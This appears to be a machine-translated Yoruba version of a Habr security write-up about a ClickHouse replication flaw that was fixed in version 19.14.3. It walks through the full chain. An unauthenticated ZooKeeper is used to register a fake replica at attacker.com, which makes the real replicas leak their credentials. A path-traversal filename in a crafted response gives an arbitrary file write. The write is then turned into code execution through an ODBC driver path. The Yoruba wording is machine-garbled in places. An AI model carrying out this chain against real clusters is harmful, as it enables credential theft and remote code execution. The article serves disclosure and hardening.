Kini idi ti o nilo lati tọju awọn ẹyẹ zoo ni pipade?

Kini idi ti o nilo lati tọju awọn ẹyẹ zoo ni pipade?

Nkan yii yoo sọ itan-akọọlẹ ti ailagbara kan pato ninu ilana isọdọtun ClickHouse, ati pe yoo tun ṣafihan bii dada ikọlu le ṣe faagun.

ClickHouse jẹ ibi ipamọ data fun titoju awọn iwọn nla ti data, pupọ julọ ni lilo diẹ ẹ sii ju ẹyọkan lọ. Iṣjọpọ ati ẹda ni ClickHouse ti wa ni itumọ ti oke Afun ZooKeeper (ZK) ati beere awọn ẹtọ kikọ.

Fifi sori ZK aiyipada ko nilo ijẹrisi, nitorinaa ẹgbẹẹgbẹrun awọn olupin ZK ti a lo lati tunto Kafka, Hadoop, ClickHouse wa ni gbangba.

Lati dinku dada ikọlu rẹ, o yẹ ki o tunto ijẹrisi ati aṣẹ nigbagbogbo nigbati o ba nfi ZooKeeper sori ẹrọ

Nibẹ ni o wa dajudaju diẹ ninu awọn 0day orisun Java deserializations, ṣugbọn fojuinu wipe ohun attacker le ka ki o si kọ si ZooKeeper, lo fun ClickHouse atunse.

Nigbati o ba tunto ni ipo iṣupọ, ClickHouse ṣe atilẹyin awọn ibeere pinpin DDL, ran nipasẹ ZK - fun wọn apa ti wa ni da ni awọn dì /clickhouse/task_queue/ddl.

Fun apẹẹrẹ, o ṣẹda ipade kan /clickhouse/task_queue/ddl/query-0001 pẹlu akoonu:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

ati lẹhin naa, tabili idanwo naa yoo paarẹ lori olupin iṣupọ host1 ati host2. DDL tun ṣe atilẹyin ṣiṣe CREATE/ALTER/DROP awọn ibeere.

Ohun idẹruba? Ṣugbọn nibo ni ikọlu le gba awọn adirẹsi olupin?

Atunse ClickHouse ṣiṣẹ ni ipele ti awọn tabili kọọkan, nitorinaa nigbati a ba ṣẹda tabili ni ZK, olupin kan pato ti yoo jẹ iduro fun paarọ metadata pẹlu awọn ẹda. Fun apẹẹrẹ, nigba ṣiṣe ibeere kan (ZK gbọdọ wa ni tunto, chXX - orukọ ti ẹda, foobar - orukọ tabili):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

awọn apa yoo ṣẹda ọwọn и metadata.

Akoonu /clickhouse/tabili/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Ṣe o ṣee ṣe lati dapọ data lati inu iṣupọ yii? Bẹẹni, ti ibudo ẹda (TCP/9009) lori olupin chXX-address ogiriina kii yoo wa ni pipade ati pe ijẹrisi fun ẹda kii yoo tunto. Bawo ni lati fori ìfàṣẹsí?

Olukọni le ṣẹda ẹda tuntun ni ZK nipa didakọ awọn akoonu nikan lati /clickhouse/tables/01-01/foobar/replicas/chXX ati iyipada itumo host.

Akoonu /clickhouse/tabili/01-01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Lẹhinna o nilo lati sọ fun awọn ẹda miiran pe bulọọki data tuntun wa lori olupin ikọlu ti wọn nilo lati mu - ipade kan ti ṣẹda ni ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX ( counter ti ndagba monotonically XX, eyiti o yẹ ki o tobi ju eyi ti o kẹhin lọ ninu akọọlẹ iṣẹlẹ):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

nibi ti source_replica - orukọ ajọra ikọlu ti a ṣẹda ni igbesẹ ti tẹlẹ, block_id - idamo Àkọsílẹ data, gba - "gba Àkọsílẹ" pipaṣẹ (ati Eyi ni awọn aṣẹ fun awọn iṣẹ miiran).

Nigbamii ti, ẹda kọọkan ka iṣẹlẹ tuntun kan ninu akọọlẹ ati lọ si olupin ti o ṣakoso nipasẹ ikọlu lati gba bulọọki data kan (ilana ẹda jẹ alakomeji, nṣiṣẹ lori oke HTTP). Olupin attacker.com yoo gba ibeere:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

nibiti XXX jẹ data ijẹrisi fun ẹda. Ni awọn igba miiran, eyi le jẹ akọọlẹ kan pẹlu iraye si ibi ipamọ data nipasẹ ilana akọkọ ClickHouse ati ilana HTTP. Gẹgẹbi o ti rii, dada ikọlu di pataki nla nitori ZooKeeper, ti a lo fun ẹda, ti fi silẹ laisi atunto ijẹrisi.

Jẹ ki a wo iṣẹ ti gbigba bulọọki data lati ẹda kan, o ti kọ pẹlu igbẹkẹle kikun pe gbogbo awọn ẹda wa labẹ iṣakoso to dara ati pe igbẹkẹle wa laarin wọn.

Kini idi ti o nilo lati tọju awọn ẹyẹ zoo ni pipade?
koodu processing atunse

Iṣẹ naa ka atokọ ti awọn faili, lẹhinna awọn orukọ wọn, titobi, awọn akoonu, ati lẹhinna kọ wọn si eto faili naa. O tọ lati ṣe apejuwe ni lọtọ bi o ṣe fipamọ data sinu eto faili naa.

Ọpọlọpọ awọn iwe-itọnisọna ni o wa ninu /var/lib/clickhouse (Itọsọna ipamọ aiyipada lati faili iṣeto):

awọn asia - liana fun gbigbasilẹ awọn asia, ti a lo ni gbigba lẹhin pipadanu data;
tmp - itọsọna fun titoju awọn faili igba diẹ;
olumulo_faili - awọn iṣẹ pẹlu awọn faili ni awọn ibeere ni opin si itọsọna yii (INTO OUTFILE ati awọn miiran);
metadata - sql awọn faili pẹlu awọn apejuwe tabili;
preprocessed_configs - ilọsiwaju itọsẹ iṣeto ni awọn faili lati /etc/clickhouse-server;
data - itọsọna gangan pẹlu data funrararẹ, ninu ọran yii fun data data kọọkan ni iwe-itọsọna lọtọ lọtọ ni a ṣẹda nibi (fun apẹẹrẹ. /var/lib/clickhouse/data/default).

Fun tabili kọọkan, a ṣẹda iwe-itọsọna kan ninu ilana ibi ipamọ data. Iwe kọọkan jẹ faili lọtọ ti o da lori engine kika. Fun apẹẹrẹ fun tabili foobarti a ṣẹda nipasẹ ikọlu, awọn faili wọnyi yoo ṣẹda:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Ẹda naa nireti lati gba awọn faili pẹlu awọn orukọ kanna nigbati o ba n ṣiṣẹ bulọọki data ati pe ko fọwọsi wọn ni eyikeyi ọna.

O ṣeeṣe ki oluka ti o tẹtisi ti gbọ tẹlẹ nipa isọdọkan ti ko lewu ti file_name ni iṣẹ kan WriteBufferFromFile. Bẹẹni, eyi ngbanilaaye ikọlu lati kọ akoonu lainidii si faili eyikeyi lori FS pẹlu awọn ẹtọ olumulo clickhouse. Lati ṣe eyi, ẹda ti o ṣakoso nipasẹ ikọlu gbọdọ da esi atẹle naa pada si ibeere naa (a ti ṣafikun awọn fifọ laini fun irọrun ti oye):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

ati lẹhin concatenation ../../../../../../../../../tmp/pwned faili naa yoo kọ /tmp/pwn pẹlu akoonu hellofromzookeeper.

Awọn aṣayan pupọ wa fun titan agbara kikọ faili sinu ipaniyan koodu isakoṣo latọna jijin (RCE).

Awọn iwe-itumọ ita ni RCE

Ni awọn ẹya agbalagba, itọsọna pẹlu awọn eto ClickHouse ti wa ni ipamọ pẹlu awọn ẹtọ olumulo tẹ ile aiyipada. Awọn faili eto jẹ awọn faili XML ti iṣẹ naa ka ni ibẹrẹ ati lẹhinna awọn caches ni /var/lib/clickhouse/preprocessed_configs. Nigbati awọn ayipada ba waye, wọn tun ka wọn. Ti o ba ni iwọle si /etc/clickhouse-server olutayo le ṣẹda ti ara rẹ ita dictionary executable iru ati ki o si ṣiṣẹ lainidii koodu. Awọn ẹya lọwọlọwọ ti ClickHouse ko pese awọn ẹtọ nipasẹ aiyipada, ṣugbọn ti olupin ba ti ni imudojuiwọn diẹdiẹ, iru awọn ẹtọ le wa. Ti o ba n ṣe atilẹyin iṣupọ ClickHouse, ṣayẹwo awọn ẹtọ si itọsọna eto, o gbọdọ jẹ ti olumulo root.

ODBC to RCE

Nigbati o ba nfi package kan sori ẹrọ, olumulo ti ṣẹda clickhouse, ṣugbọn ilana ile rẹ ko ṣẹda /nonexistent. Sibẹsibẹ, nigba lilo awọn iwe-itumọ ita, tabi fun awọn idi miiran, awọn alabojuto ṣẹda itọsọna kan /nonexistent ki o si fun olumulo clickhouse wiwọle lati kọ si (SSZB! isunmọ. onitumọ).

ClickHouse ṣe atilẹyin ODBC ati ki o le sopọ si miiran infomesonu. Ni ODBC, o le pato ọna si ibi ikawe awakọ data data (.so). Awọn ẹya agbalagba ti ClickHouse gba ọ laaye lati ṣe eyi taara ni oluṣakoso ibeere, ṣugbọn ni bayi ayẹwo ti o muna diẹ sii ti okun asopọ ti ni afikun si odbc-bridge, nitorina ko ṣee ṣe lati pato ọna awakọ lati ibeere naa. Ṣugbọn ṣe ikọlu le kọwe si itọsọna ile nipa lilo ailagbara ti a ṣalaye loke?

Jẹ ki a ṣẹda faili kan ~/.odbc.ini pẹlu akoonu bii eyi:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

lẹhinna ni ibẹrẹ SELECT * FROM odbc('DSN=lalala', 'test', 'test'); awọn ìkàwé yoo wa ni ti kojọpọ test.so ati gba RCE (o ṣeun bugloc fun sample).

Iwọnyi ati awọn ailagbara miiran ti wa titi ni ẹya ClickHouse 19.14.3. Ṣe abojuto ClickHouse ati ZooKeepers!

orisun: www.habr.com

Fi ọrọìwòye kun